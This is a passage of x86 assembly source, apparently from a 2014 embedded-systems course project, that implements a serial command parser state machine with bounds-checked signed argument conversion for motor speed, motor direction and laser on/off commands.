JNE ValidationLoop_ST ; this isn't a valid character.
INVALID_CHARACTER:
CALL SetZF
JMP DONE_PROCESSING_CHARACTER
FORMAT_CHARACTER:
MOV BL, ASCIILetterIdentifier ; let's check if the character is
; a letter.
AND BL, AL
JZ ALMOST_DONE_PROCESSING ; not a letter
; is a letter
; is it uppercase?
MOV BL, ASCIII_UL
AND BL, AL
JZ ASCII_Uppercase ; if that bit isn't set, Uppercase
JNZ ALMOST_DONE_PROCESSING
ASCII_Uppercase:
ADD AL, ASCIII_UL ; convert letter to lowercase
ALMOST_DONE_PROCESSING:
CALL ClearZF
JMP DONE_PROCESSING_CHARACTER
DONE_PROCESSING_CHARACTER:
RET
ValidateInputCharacter ENDP
; SetZF
; Sets the ZF, destroying AH in the process.
; Registers used: AH
SetZF PROC NEAR
PUBLIC SetZF
XOR AH, AH ; set ZF
RET
SetZF ENDP
; ClearZF
; Clears the ZF, screwing up AH in the process.
; Registers used: AH
ClearZF PROC NEAR
PUBLIC ClearZF
XOR AH, AH ; clear AH
ADD AH, 1 ; clear ZF
RET
ClearZF ENDP
; StoreArgDigit
; Description: Takes input digit character for current command in AL.
; If storing this digit would not set ParserStateBits 543 (argument index)
; greater than Parser_MAX_DIGITS, stores it in the buffer
; ParserNumericalArgumentBuffer at the index
; specified by bits 543 of the current ParserStateBits. Increments
; these state bits to point to the next open position in the buffer
; and returns ZF reset.
; Otherwise does not modify state bits.
;
; If adding would overflow buffer, i.e. if bits 543 + 1 >
; Parser_MAX_DIGITS, sets ZF and doesn't add anything to buffer.
;
; Might fail if ParserStateBits 543 not currently in 0,Parser_MAX_DIGITS-1
;
; Arguments: AL, digit in 0-9 ASCII.
; Return Value: ZF set/reset as described above.
; Registers Used: AX, BX, DI
; Last Revised: 12/28/2014 SSundaresh created
StoreArgDigit PROC NEAR
PUBLIC StoreArgDigit
MOV DI, offset(ParserStateBits) ; identify current state
MOV BL, DS:[DI]
AND BL, ArgIndexBits
SHR BL, 3 ; isolate ArgIndexBits and get them to bits 210
XOR BH, BH ; in BX
PUSH BX ; store BX, current relative argument index
INC BL
CMP BL, Parser_MAX_DIGITS
JG ArgBufferOverflow
; no overflow, prepare to add arg to buffer
; and update index in state bits
SHL BL, 3 ; get updated index in right position
MOV BH, DS:[DI] ; get state bits in BH
AND BH, ArgIndexMask ; clear out index bits in BH
ADD BH, BL ; replace with updated index bits
MOV DS:[DI], BH ; store updated state
POP BX ; get relative index to store arg
ADD BX, offset(ParserNumericalArgumentBuffer)
; BX is now an absolute address in DS
MOV DS:[BX], AL ; store AL there
CALL ClearZF
JMP StoreArgDigit_DONE
ArgBufferOverflow:
POP BX ; so we don't have mismatched push/pops
CALL SetZF
JMP StoreArgDigit_DONE
StoreArgDigit_DONE:
RET
StoreArgDigit ENDP
; NotParsing
; Description.
; This is the state NotParsing.
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; NotParsing Parsing(c) Error, NotParsing Error, NotParsing NotParsing 1
; Takes input character in AL. The character is
; guaranteed to be in Valid_Characters, which for now
; means it is in 0-9, +-, vdfor, or ASCII_CR. Since whitespace
; has been ignored before this point, seeing ASCII_CR in this state
; is equivalent to having seen a blank line, and seeing 0-9+-
; is invalid, as we by definiton haven't yet seen a command character.
; So, depending on the input character, this function will transition
; the state to either Parsing (with a target CommandCharacter set and
; state bits set), or stay in NotParsing, if a line break is seen,
; or stay in Not Parsing, but report back an error by setting the ZF.
; By default if there is no issue the ZF is reset.
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Constants: ASCII_CR, ASCIILetterIdentifier
; SBP_NoNumbersYet_SignUnclear
; Local Variables:
; AL, c character
; AH masks and state bits
; Registers Used: AX, DI
; Last Revised: 12/27/2014 SSundaresh created
NotParsing PROC NEAR
PUBLIC NotParsing
MOV AH, ASCIILetterIdentifier ; AL has character c
AND AH, AL ; letter will yield > 0
JNZ State1_CommandID ; letter is command
; start parsing
MOV AH, ASCII_CR
CMP AH, AL ; either it is a
; blank line, or
; it is an error
JNE State1_ParseError
JMP State1_ValidInput ; stay NotParsing
State1_ParseError: ; c was 0-9+-
CALL SetZF
JMP State1_Done
State1_CommandID:
MOV DI, offset(CommandCharacter)
MOV DS:[DI], AL
MOV AH, SBP_NoNumbersYet_SignUnclear
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH
; set new state
JMP State1_ValidInput
State1_ValidInput:
CALL ClearZF
State1_Done:
RET
NotParsing ENDP
; Parsing_NoNumbersYet_SignUnclear
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_NoNumbersYet_SignUnclear Error, NotParsing K=f,o,r Error, NotParsing Error, NotParsing ESURSZFR 2
; K=v,d, c=1-9, Parsing_ArgGEQOne (sign clear, no sign) K=s-e, Error, NotParsing
; K=v,d, c=0, Parsing_ArgZero (sign clear, no sign)
; K=v,d, Parsing_NoNumbersYet (sign clear)
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/27/2014 SSundaresh created
; PseudoCode
; is the input a letter? If so, error.
; is the input a number? If f,o,r commands, error, else transition on c=0, 1-9.
; is the input a sign? if f,o,r commands, error, else, no issue,
; set sign bit and transition
; is the input a \CR? if f,o,r commands, great, call execute, but if not,
; error.
;
; Note: by construction of SerialParseChar parse errors (ZFs) force a
; transition to NotParsing, and that ExecuteCommand will reset to NotParsing
; after a valid execution.
Parsing_NoNumbersYet_SignUnclear PROC NEAR
PUBLIC Parsing_NoNumbersYet_SignUnclear
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State2_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State2_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State2_SignInput
; only other option is \CR
State2_ASCIICRInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f command complete
JE State2_Execute_Command
CMP AH, 'o' ; o command complete
JE State2_Execute_Command
CMP AH, 'r' ; r command complete
JE State2_Execute_Command
JMP State2_ParseError ; else with \CR input, error.
State2_LetterInput:
JMP State2_ParseError ; multi command per line error
State2_NumberInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f takes no arguments
JE State2_ParseError
CMP AH, 'o' ; o parse error
JE State2_ParseError
CMP AH, 'r' ; r parse error
JE State2_ParseError
CMP AL, '0' ; if number is 0, no Sign, ArgZero
; else 1-9, so noSign, ArgGEQone
JE State2_Transition_ArgZero_noSign
JMP State2_Transition_ArgGEQOne_noSign
State2_Transition_ArgZero_noSign:
MOV AH, SBP_ArgZero_noSign
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_Transition_ArgGEQOne_noSign:
MOV AH, SBP_ArgGEQOne_noSign
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State2_ValidInput
JZ State2_ParseError
State2_SignInput:
MOV DI, offset(CommandCharacter)
MOV AH, DS:[DI]
CMP AH, 'f' ; f parse error
JE State2_ParseError
CMP AH, 'o' ; o parse error
JE State2_ParseError
CMP AH, 'r' ; r parse error
JE State2_ParseError
State2_SignedTransition:
CMP AL, '-'
JNE State2_Transition_PosSign
JE State2_Transition_NegSign
State2_Transition_NegSign:
MOV AH, SBP_NoNumbersYet_negative
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_Transition_PosSign:
MOV AH, SBP_NoNumbersYet_positive
MOV DI, offset(ParserStateBits)
MOV DS:[DI], AH ; set new state
JMP State2_ValidInput
State2_ParseError:
CALL SetZF
JMP State2_Done
State2_Execute_Command:
CALL ExecuteCommand
JMP State2_Done
State2_ValidInput:
CALL ClearZF
JMP State2_Done
State2_Done:
RET
Parsing_NoNumbersYet_SignUnclear ENDP
; Parsing_ArgZero
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_ArgZero Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing CESURSZFR 3
; c=1-9, 543++ Parsing_ArgGEQOne
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Transition on c=0, 1-9.
; is the input a sign? If so, error.
; is the input a \CR? Call ExecuteCommand, which carries out CESURSZFR.
Parsing_ArgZero PROC NEAR
PUBLIC Parsing_ArgZero
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State3_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State3_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State3_SignInput
; only other option is \CR
State3_ASCIICRInput:
JMP State3_Execute_Command
State3_LetterInput:
JMP State3_ParseError ; multi command per line error
State3_NumberInput:
CMP AL, '0' ; if number is 0, stay in ArgZero
; else 1-9, transition to ArgGEQOne
JE State3_ValidInput ; with appropriate sign bit.
JMP State3_Transition_ArgGEQOne
State3_Transition_ArgGEQOne:
MOV BH, SignBits
MOV DI, offset(ParserStateBits)
MOV AH, DS:[DI]
AND BH, AH ; get sign bits in BH
MOV AH, SBP_ArgGEQOne
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State3_ValidInput
JZ State3_ParseError
State3_SignInput:
JMP State3_ParseError
State3_ParseError:
CALL SetZF
JMP State3_Done
State3_Execute_Command:
CALL ExecuteCommand
JMP State3_Done
State3_ValidInput:
CALL ClearZF
JMP State3_Done
State3_Done:
RET
Parsing_ArgZero ENDP
; Parsing_ArgGEQOne
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_ArgGEQOne Error, NotParsing c=0-9, 543++ Parsing_ArgGEQOne Error, NotParsing CESURSZFR 4
;
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls)
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Stay in this state unless bits 543 > Parser_MAX_DIGITS
; is the input a sign? If so, error.
; is the input a \CR? Call ExecuteCommand, which carries out CESURSZFR.
Parsing_ArgGEQOne PROC NEAR
PUBLIC Parsing_ArgGEQOne
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State4_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State4_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State4_SignInput
; only other option is \CR
State4_ASCIICRInput:
JMP State4_Execute_Command
State4_LetterInput:
JMP State4_ParseError ; multi command per line error
State4_NumberInput:
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State4_ValidInput
JZ State4_ParseError
State4_SignInput:
JMP State4_ParseError
State4_ParseError:
CALL SetZF
JMP State4_Done
State4_Execute_Command:
CALL ExecuteCommand
JMP State4_Done
State4_ValidInput:
CALL ClearZF
JMP State4_Done
State4_Done:
RET
Parsing_ArgGEQOne ENDP
; Parsing_NoNumbersYet
; Description: Takes input c in AL in lowercase.
; Sets ZF if parse error noted, else clears.
; The states transitions:
; Input Class 1 2 3 4
; States\c v-r 0-9 +- \CR Lumped STATE_ID
; Parsing_NoNumbersYet Error, NotParsing c=0 , Parsing_ArgZero Error, NotParsing Error, NotParsing 5
; c=1-9, 543++ Parsing_ArgGEQOne
; Arguments: AL, input character c in lowercase
; Return Values: ZF set if parsing error noted
; ZF reset otherwise
; Registers Used: AX, BX (in calls), DI
; Last Revised: 12/28/2014 SSundaresh created
; PseudoCode.
; Only commands that take arguments get this far.
; is the input a letter? If so, error.
; is the input a number? Transition on c=0, 1-9.
; is the input a sign? If so, error.
; is the input a \CR? If so, error.
Parsing_NoNumbersYet PROC NEAR
PUBLIC Parsing_NoNumbersYet
MOV AH, ASCIILetterIdentifier ; identify input class
AND AH, AL
JNZ State5_LetterInput
MOV AH, ASCIINumberIdentifier
AND AH, AL
JNZ State5_NumberInput
MOV AH, ASCIISignIdentifier
AND AH, AL
JNZ State5_SignInput
; only other option is \CR
State5_ASCIICRInput:
JMP State5_ParseError
State5_LetterInput:
JMP State5_ParseError ; multi command per line error
State5_NumberInput:
MOV BH, SignBits
MOV DI, offset(ParserStateBits)
MOV AH, DS:[DI]
AND BH, AH ; get sign bits in BH
CMP AL, '0' ; if number is 0, trans to ArgZero
; else 1-9, transition to ArgGEQOne
; with appropriate sign bit.
JE State5_Transition_ArgZero
JMP State5_Transition_ArgGEQOne
State5_Transition_ArgZero:
MOV AH, SBP_ArgZero
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
JMP State5_ValidInput
State5_Transition_ArgGEQOne:
MOV AH, SBP_ArgGEQOne
ADD AH, BH ; full transition state with proper sign
MOV DS:[DI], AH ; set new state
CALL StoreArgDigit ; digit in AL, stores in
; ParserNumericalArgumentBuffer
; increments arg index state bits'
; ZF implies too many input digits
; (not possible here)
JNZ State5_ValidInput
JZ State5_ParseError
State5_SignInput:
JMP State5_ParseError
State5_ParseError:
CALL SetZF
JMP State5_Done
State5_ValidInput:
CALL ClearZF
JMP State5_Done
State5_Done:
RET
Parsing_NoNumbersYet ENDP
; ExecuteCommand
; Description: Called when a \CR is input to ParseSerialChar
; and the current parse state is otherwise Parsing and valid. For the current
; CommandCharacter, does bounds-checks on the argument in
; ParserNumericalArgumentBuffer if the ZeroSeenBit is not set in the
; ParserStateBits. This requires converting the parsed string argument
; into a signed 16-bit binary number using SignedDecString2Bin,
; an internal conversion function.
;
; If the ZeroSeenBit is set, the argument is understood to be 0.
; If the sign bit is not specified, the argument at this stage is
; understood to be positive.
;
; If the argument fits within a signed word, this function uses
; the sign bit (+,-,none) to determine which execution function would need
; to be called (absolute, relative settings, for example).
; If relative settings are required, the current MotorBoard state is
; accessed and the desired relative mutation is calculated.
; This net (absolute) setting is bounds-checked, on a command-by-command
; basis. If the argument is within bounds, appropriate execution
; functions are called.
; In all cases where arguments are not in bounds, the ZF is set and
; the function immediately returns.
; If the arguments are in bounds, the execution function is called,
; we request that the Motor Board status be transmitted, and we reset the
; parser state to NotParsing to await the next command, then return
; with the ZF reset.
;
;
; Note: If this ParseSerialChar is called when Handlers.EOFlag is set,
; this function will not execute any command but R, and will
; return ZF reset for anything else that makes it here.
;
; Shared Variables: CommandCharacter, ParserNumericalArgumentBuffer,
; ParserStateBits
; Arguments: none
; Return Values:
; ZF set if arguments parsed do not match specified bounds for the CommandChar
; ZF reset if command arguments in valid bounds, and command called.
; Resets parser state to NotParsing if it executes a valid command.
; Registers Used: AX,BX,CX,DX,SI,DI,flags, considering nested functions
; Last Revised: 12/28/2014 SSundaresh created
; 12/29/2014 SSundaresh removed S,T,E commands, added R
; added error handling state
; for parsing after an error.
; only R command is recognized then.
ExecuteCommand PROC NEAR
PUBLIC ExecuteCommand
CALL GetEOFlag
MOV AL, BL ; store EO flag from Handlers.asm in AL
MOV SI, offset(CommandCharacter)
MOV BL, DS:[SI] ; first deal with those that don't
; take arguments
CMP BL, 'r'
JE EXECUTE_COMMAND_R
OR AL, AL ; is EOF set?
JNZ EC_ParsingDuringError ; if so, just return with ZF reset
JZ EC_NO_EOF_SET
EC_ParsingDuringError:
CALL ResetParserState
CALL ClearZF
JMP EC_Done
EC_NO_EOF_SET:
CMP BL, 'f'
JE EXECUTE_COMMAND_F
CMP BL, 'o'
JE EXECUTE_COMMAND_O
; everything else takes an argument
; with clear sign. before splitting
; off to deal on a command-by-command
; basis, do some gross error checking
MOV SI, offset(ParserStateBits)
MOV AL, DS:[SI]
MOV AH, ZeroSeenBit
AND AH, AL
JZ ExecuteWithArgGEQOne ; otherwise, argument 0,
; no need for further error checking
JMP ExecuteWithArgZero
ExecuteWithArgGEQOne:
MOV AH, SignBits
AND AH, AL ; get just sign bits in AH
MOV BH, NegSignBit ; check sign before conversion
; for initial bounds-checking
; if not negative, default positive
CMP AH, BH
JE BOUNDS_CHECK1_NEGATIVE
JNE BOUNDS_CHECK1_POSITIVE
BOUNDS_CHECK1_NEGATIVE:
MOV BH, 1 ; see SignedDecString2Bin spec
; BH contains 1 if sign negative
JMP BOUNDS_CHECK1
BOUNDS_CHECK1_POSITIVE:
MOV BH, 0 ; and 0 if sign positive
JMP BOUNDS_CHECK1
BOUNDS_CHECK1:
MOV BL, AL
AND BL, ArgIndexBits
SHR BL, 3 ; BL contains n, length of arg string
MOV SI, offset(ParserNumericalArgumentBuffer)
; SI contains string offset in DS
CALL SignedDecString2Bin ; now ZF tells us if there's an OF
; and BX contains binarized argument
JZ EC_ParseError
MOV AX, BX ; argument was in loosest bounds
; move to AX and do careful checks
JMP Execute_ArgumentPassedCheck1
ExecuteWithArgZero:
MOV AX, 0
JMP Execute_ArgumentPassedCheck1 ; want to handle all commands
; with same code.
Execute_ArgumentPassedCheck1: ; binarized argument in AX
; get parser state, command char
; in BL, BH
MOV SI, offset(CommandCharacter)
MOV BH, DS:[SI]
MOV SI, offset(ParserStateBits)
MOV BL, DS:[SI]
CMP BH, 'v'
JE EXECUTE_COMMAND_V
CMP BH, 'd'
JE EXECUTE_COMMAND_D
EXECUTE_COMMAND_F:
CALL COMMAND_F
JMP EC_ValidInput
EXECUTE_COMMAND_O:
CALL COMMAND_0
JMP EC_ValidInput
EXECUTE_COMMAND_R:
CALL COMMAND_R
JMP EC_ValidInput
; previous bounds check is suffient here.
EXECUTE_COMMAND_V:
CALL COMMAND_V
JMP EC_ValidInput
EXECUTE_COMMAND_D:
CALL COMMAND_D
JMP EC_ValidInput
EC_ValidInput:
CALL TransmitStatus
CALL ResetParserState
CALL ClearZF
JMP EC_Done
EC_ParseError:
CALL SetZF
JMP EC_Done
EC_Done:
RET
ExecuteCommand ENDP
; See Comments and ExecuteCommand for Details on when the following
; are called. They are stub functions, originally part of ExecuteCommand
; but split to avoid far-jump errors.
; Each of the functions below implements the Serial Command Format Spec.
; For each, below, expect BL = state, AX argument, signed 16bit
COMMAND_F PROC NEAR
PUBLIC COMMAND_F
MOV AX, 1 ; AX nonzero turns laser on
CALL SetLaser
RET
COMMAND_F ENDP
COMMAND_0 PROC NEAR
PUBLIC COMMAND_0
MOV AX, 0 ; see COMMAND_F
CALL SetLaser
RET
COMMAND_0 ENDP
COMMAND_R PROC NEAR
PUBLIC COMMAND_R
MOV AX, 0 ; just set speed, direction to 0
MOV BX, 0
CALL SetMotorSpeed
CALL ClearEOFlag ; clear error_occurred flag just
; in case that's why we saw R
RET
COMMAND_R ENDP
COMMAND_V PROC NEAR
PUBLIC COMMAND_V
PUSH AX
CALL GetMotorSpeed
MOV BX, AX
POP AX ; AX = relative speed in [-32768,32767]
; BX = current speed in [0,65534]
; if we consider TEST11, which
; is of the form
; S+32767 = 7fff
; V+32767 = 7fff
; Expected Output: Speed fffe.
; So, here, we make a decision:
; If V forces speed > 65534 by adding,
; we truncate to 65534.
; If V forces speed < 0 by adding
; we truncate to 0.
; BX can be in [0,fffe] unsigned
; AX can be in [-8000,7fff] signed
; so break it up.
; if BX SF is set, AX > 0
; -BX works out to 2^16-BX >= 2
; so if AX >= |2^16-BX|-2
; we'll hit either ffff or overflow,
; both of which are bad for us.
; if BX SF is set, AX < 0
; no issue when we just add
; if BX SF is unset, AX > 0
; no issue when we just add
; if BX SF is unset, AX < 0
; if BX + AX < 0 we set to 0 instead
OR BX, BX ; set SF by BX
JS BX_SF_SET
JNS BX_SF_UNSET
BX_SF_SET:
CMP AX, 0
JLE COMMAND_V_JustAdd
MOV CX, BX ; AX > 0
NEG CX ; this acts like |2^16-BX| effectively for AX > 0, at least
MOV DI, 2
NEG DI
ADD CX, DI ; |2^16-BX|-2
CMP AX, CX
JGE COMMAND_V_MAX_SPEED
JL COMMAND_V_JustAdd
BX_SF_UNSET:
CMP AX, 0
JGE COMMAND_V_JustAdd
JL COMMAND_V_CompareMagnitudes ; AX < 0, is -AX > BX, will BX+AX < 0?
COMMAND_V_CompareMagnitudes:
MOV CX, AX
NEG CX
CMP CX, BX
JLE COMMAND_V_JustAdd
JG COMMAND_V_Halt ; negative result, so halt
COMMAND_V_JustAdd:
ADD AX, BX
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
COMMAND_V_Halt:
MOV AX, 0
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
COMMAND_V_MAX_SPEED:
MOV AX, MAX_SPEED
MOV BX, SAME_ANGLE
CALL SetMotorSpeed
JMP V_DONE
V_DONE:
RET
COMMAND_V ENDP
COMMAND_D PROC NEAR
PUBLIC COMMAND_D
; the spec assumes CW angles
; but in Motors I made my case for
; why CCW made more sense given
; the test cases for HW6 so
; 'right' and 'left' here mean
; decrease and increase theta
; respectively, from my POV.
; get Current Direction in [0,359]
; know our angle is of the form
; [-32768, 32767]
; don't want to risk overflow,
; and don't want to risk
; sending 32768 by accident
; (seen as SAME but not from
; this command's perspective).
; if positive, subtract 720
; with no risk of overflow
; if negative, add 720
; with no risk of overflow
; and without changing
; the direction mod 360.
;
; then just add to Current Direction
; and rely on
; SetMotorSpeed(65535, new angle)
; to calculate the modulus.
OR AX, AX ; get SF set
JS ADD_720
JNS SUB_720
ADD_720:
ADD AX, 720
JMP COMMANDD_UPDATE_DIRECTION
SUB_720:
SUB AX, 720
JMP COMMANDD_UPDATE_DIRECTION
COMMANDD_UPDATE_DIRECTION:
MOV BX, AX ; store our argument
CALL GetMotorDirection
; AX holds current direction in 0,359
ADD BX, AX
MOV AX, SAME_SPEED
CALL SetMotorSpeed
RET
COMMAND_D ENDP
; Code Segment Arrays for
; Numerical String Conversion Constants (internal conversions)
; MaxPositiveArgument
; A code segment array containing the ASCII string '32767'
;
; Author: SSundaresh
; Last Modified: 12/28/2014
MaxPositiveArgument LABEL BYTE
PUBLIC MaxPositiveArgument
DB '3'
DB '2'
DB '7'
DB '6'
DB '7'
; MaxNegativeArgument
; A code segment array containing the ASCII string '32768'
;
; Author: SSundaresh
; Last Modified: 12/28/2014
MaxNegativeArgument LABEL BYTE
PUBLIC MaxNegativeArgument
DB '3'
DB '2'
DB '7'
DB '6'
DB '8'
; SignedDecString2Bin
;
; Note
; I do not believe this function belongs in Converts.asm.
; It is too specific to the problem at hand, and its input
; specifications are strict enough that
; I'd not likely use it again for another purpose.
; So this feels more like an internal (private) function to me.
;
; Arguments:
; Takes a string from 1-5 ASCII decimal digits at address DS:SI, passed in SI
; by reference, without leading zeros (i.e. binary magnitude is greater than 0)
; and ordered in index 0..n-1 (n length) from MSD to LSD.
; Takes an intended sign in BH (0 +, 1 -) and
; takes the string length in BL.
; Return Values:
; Returns in BX the word equivalent of the
; signed decimal string if there is no overflow during conversion,
; i.e. if the string is of the form [-32768, +32767],
; and resets the ZF. Otherwise sets the ZF to signify an overflow.
; Operation
; First, we take advantage of the fact that ASCII 0-9 are numerically
; ordered in their binary encoding as well, to decide whether
; our input string will fit in [-32768, +32767].
; If the string length is =5, we compare char by char with the
; code-strings '32678' (if the sign is negative) or
; '32767' (if the sign is positive) from MSD to LSD.
; The first time our input char is less than those code-strings,
; we stop, we know we have no overflow. If we reach the end and are
; at most equal to those code-strings, still no issue.
; If in this way, we at some point are greater than the code-strings,
; we will have an overflow so we set the ZF and exit.
; If the string length is <5, we're fine.
; If we've reached this point we can convert the string input, raw,
; as a positive quantity in [0,32768] and negate it afterwards if
; need be, with no worry about overflow.
; Convert raw characters ASCII to binary by masking high 4 bits of
; argument characters, which yield binary 0-9 in the low nibble.
; As there are n>0 characters to process, the first has power
; 10^(n-1), so we can multiply by this. We store this
; then proceed to the next digit, multiply by 10^(n-2), add, store,
; repeat till we're out of input characters.
; The result is negated if the input sign value was 1, and remains
; as is if the input sign value was 0.
; This is returned in BX along with a reset ZF.
; Constants: MaxPositiveArgument, MaxNegativeArgument code strings
; Local Variables (meaning changes, so some are shown twice):
; First, INIT OVERFLOW CHECk
; SI, address of string of magnitude > 0, no leading 0's, to convert
; BL, string length, n in 1-5
; BH, intended sign, {0,+}, {1,-}
; then CODE-STRING-COMPARISON
; CX, characters left to compare
; AL, current character being compared between code-string and input string
; SI, BX, offset addresses in input/code string
; then PWR10-CALCULATION
;
; then CONVERSION
; SI, absolute index in input string during conversion
; BL, string length, n in 1..5 used as relative index
; CX, current power of 10 for conversion from [10^4..10^0]
; DI, stored sum (intermediate conversion term)
; Registers Used: AX, BX, CX, DX, DI, SI
; Stack Depth: 0 words
;
; Last Revised: 12/28/2014 SSundaresh created
SignedDecString2Bin PROC NEAR
PUBLIC SignedDecString2Bin
PUSH BX ; going to need these saved for
PUSH SI ; when we actually start converting
; error checking:
; see arguments
; BL in 1..5
CMP BL, 5 ; if we need to convert less than 4
; digits, we cannot overflow a word
JL START_Dec2Bin_CONVERSION
JMP POSSIBLE_OVERFLOW ; should only be < or =
POSSIBLE_OVERFLOW:
MOV CL, BL
XOR CH, CH ; CX now contains n = 5, length of both
; CS:MaxNegativeArgument and input string
; in DS:SI
CMP BH, 0 ; see arguments, + sign intended
JE CHECK_POSITIVE_OVERFLOW
JNE CHECK_NEGATIVE_OVERFLOW
CHECK_NEGATIVE_OVERFLOW:
MOV BX, offset(MaxNegativeArgument)
JMP COMPARISON_LOOP
CHECK_POSITIVE_OVERFLOW:
MOV BX, offset(MaxPositiveArgument)
JMP COMPARISON_LOOP
COMPARISON_LOOP:
MOV AL, CS:[BX]
CMP AL, DS:[SI]
JG START_Dec2Bin_CONVERSION ; can't overflow, guaranteed
JL GUARANTEED_OVERFLOW ; will overflow
INC SI ; not yet sure
INC BX
DEC CX
CMP CX, 0
JE START_Dec2Bin_CONVERSION ; exact equality between strings - no issue
JMP COMPARISON_LOOP
GUARANTEED_OVERFLOW:
POP SI
POP BX ; so stack untouched
CALL SetZF
JMP Dec2Bin_Conversion_DONE
START_Dec2Bin_CONVERSION:
POP SI
POP BX ; restore arguments.. need original BL
PUSH BX ; calculate initial power of 10, uses BX, store
; original arguments again
MOV CL, BL
XOR CH, CH ; CX holds string length n
DEC CX ; CX holds n - 1
MOV AX, 1 ; AX holds 1
XOR DX, DX ; clear DX for DX:AX word multiplication
; as pwr10 for n = 4 can be more than a byte
MOV BX, 10 ; word 10 for word MUL by BX
PWR10LOOP:
CMP CX, 0
JE INIT_PWR10_FOUND
MUL BX ; will fit in AX, DX as 0:AX <- AX * 10
DEC CX
JMP PWR10LOOP
INIT_PWR10_FOUND: ; it is in AX
POP BX ; restore BX, original argument: BL, n,BH,+0,-1
; SI: original string address in DS
XOR DI, DI ; DI will be our accumulator
MOV CX, AX ; CX our current power of 10
CONVERSION_LOOP:
XOR DX, DX ; clear DX for word mul
MOV AL, DS:[SI]
XOR AH, AH
AND AL, LOWNIBBLEMASK ; ASCIIDecimal2Bin conversion of ASCII char
MUL CX ; DX <- 0, guaranteed
; AX <- pwr10*[0-9], no overflow
ADD DI, AX ; store in accumulator
XOR DX, DX ; prepare to calculate CX = pwr10 / 10
MOV AX, CX
MOV CX, 10 ; need word division as can have up to 10000/10
; = 1000 > byte. no remainders expected.
DIV CX
MOV CX, AX ; pwr10 -> pwr10/10
INC SI
DEC BL
CMP BL, 0
JG CONVERSION_LOOP
CMP BH, 1
JE NEGATE_CONVERTED ; BH still contains sign input argument
JMP PREPARE_TO_OUTPUT ; positive conversions are already ok
NEGATE_CONVERTED:
NEG DI
JMP PREPARE_TO_OUTPUT
PREPARE_TO_OUTPUT:
MOV BX, DI ; want to output in BX
CALL ClearZF
JMP Dec2Bin_Conversion_DONE
Dec2Bin_Conversion_DONE:
RET
SignedDecString2Bin ENDP
; ResetParserState
; Description: clear state bits, i.e. set to Not_Parsing state.
; Operational Notes: we only change state bits outside interrupts
; so this is not critical.
; Registers Used: AX, SI
; Last Revised: 12/27/2014 SSundaresh created
ResetParserState PROC NEAR
PUBLIC ResetParserState
MOV AL, STATE_BITS_NOT_PARSING
MOV SI, offset(ParserStateBits)
MOV DS:[SI], AL
RET
ResetParserState ENDP
; Valid_Characters
; A code segment array containing the valid input characters.
; This effectively says, non-valid characters are ignored (whitespace
; included)
;
; Author: SSundaresh
; Last Modified: 12/29/2014 for HW9
Valid_Characters LABEL BYTE
PUBLIC Valid_Characters
DB 'v' ; set relative speed
DB 'V'
DB 'd' ; set direction
DB 'D'
DB 'f' ; fire laser
DB 'F'
DB 'o' ; laser off
DB 'O'
DB 'r' ; reset motors, direction
DB 'R'
DB '0' ; numerical argument digits
DB '1'
DB '2'
DB '3'
DB '4'
DB '5'
DB '6'
DB '7'
DB '8'
DB '9'
DB '+' ; numerical argument sign
DB '-'
DB ASCII_CR ; carriage return, ctrl-M
CODE ENDS
;Shared Variables
DATA SEGMENT PUBLIC 'DATA'
; the command character whose argument we're currently trying to parse.
CommandCharacter DB ?
;LSB
